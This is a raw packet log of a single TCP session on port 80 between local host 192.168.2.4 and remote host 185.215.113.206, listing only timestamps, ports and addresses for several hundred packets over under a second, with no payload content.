Oct 30, 2024 20:13:29.457978010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.457992077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.458005905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.458009005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.458024025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.458034039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.458039999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.458055019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.458064079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.458071947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.458082914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.458086014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.458107948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.458131075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.574932098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.575025082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.575058937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.575086117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.575084925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.575103045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.575119972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.575133085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.575149059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.575278997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.576488018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.576538086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.576546907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.576586962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.576587915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.576630116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.576726913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.576744080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.576761007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.576785088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.576812983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.576921940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.576970100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.577054024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.577070951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.577085972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.577102900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.577102900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.577120066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.577131987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.577131987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.577151060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.577430010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.577455997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.577472925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.577487946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.577501059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.577502966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.577512026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.577542067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.577753067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.577766895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.577781916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.577806950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.577821016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.578005075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578020096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578035116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578051090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578054905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.578066111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578080893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.578083038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578102112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578109980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.578119993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578130960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.578135967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578154087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.578180075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.578700066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578713894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578738928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578746080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.578754902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578759909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.578769922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578780890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.578785896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578795910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.578804016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578815937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.578819036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578829050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.578834057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578849077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.578850985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578860998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.578866005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578881025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.578881979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578891993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.578898907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.578912973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.578927040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.578946114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.579545975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.579560995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.579576015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.579591036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.579596043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.579606056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.579621077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.579622984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.579637051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.579648018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.579674959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.580137968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.580159903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.580173969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.580189943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.580192089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.580205917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.580214977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.580219984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.580235004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.580241919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.580250025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.580262899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.580266953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.580281973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.580287933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.580297947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.580312014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.580312967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.580339909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.580365896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.581006050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.581021070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.581034899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.581052065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.581053972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.581065893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.581070900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.581084013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.581095934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.581095934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.581125021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.581151009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.699321032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.699356079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.699382067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.699383020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.699413061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.699423075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.699445009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.699460983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.699484110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.699505091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.699575901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.699592113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.699631929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.699783087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.699799061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.699815035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.699831009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.699840069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.699847937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.699867010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.699879885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.700201988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.700217962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.700233936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.700248957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.700257063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.700264931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.700278997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.700283051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.700303078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.700326920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.700670004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.700685024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.700699091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.700711966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.700716019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.700722933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.700731993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.700747967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.700754881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.700757980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.700773001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.700774908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.700786114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.700792074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.700807095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.700823069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.701303959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.701319933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.701334000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.701348066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.701349020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.701360941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.701364994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.701374054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.701389074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.701390028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.701404095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.701406002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.701421022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.701431036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.701436043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.701447010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.701450109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.701461077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.701464891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.701482058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.701482058 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.701489925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.701509953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.701522112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.702224970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.702241898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.702255964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.702267885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.702270985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.702290058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.702301025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.702306032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.702311039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.702321053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.702337027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.702343941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.702352047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.702370882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.702399015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.702908039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.702927113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.702941895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.702951908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.702959061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.702975035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.702986002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.702990055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.703006983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.703007936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.703022957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.703035116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.703037977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.703053951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.703062057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.703069925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.703080893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.703085899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.703107119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.703130007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.703759909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.703778982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.703794003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.703804016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.703811884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.703819990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.703840971 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.703850985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.821974993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.822001934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.822019100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.822069883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.822148085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.822164059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.822179079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.822179079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.822190046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.822196007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.822227001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.822252035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.822407961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.822468042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.822484016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.822498083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.822508097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.822604895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.822786093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.822801113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.822815895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.822825909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.822834015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.822849989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.822860003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.822879076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.823055029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.823071003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.823096037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.823107004 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.823137999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.823153019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.823168039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.823174953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.823185921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.823194027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.823200941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.823204041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.823216915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.823224068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.823235989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.823236942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.823251963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.823271990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.823829889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.823843002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.823857069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.823868990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.823872089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.823884010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.823887110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.823895931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.823903084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.823914051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.823919058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.823931932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.823935032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.823941946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.823951006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.823957920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.823966026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.823976994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.823980093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.823987007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.823996067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.824006081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.824012041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.824018002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.824033976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.824049950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.825601101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.825619936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.825634956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.825649977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.825651884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.825665951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.825669050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.825681925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.825695992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.825706959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.825711966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.825721025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.825726986 CET	80	49758	185.215.113.206	192.168.2.4
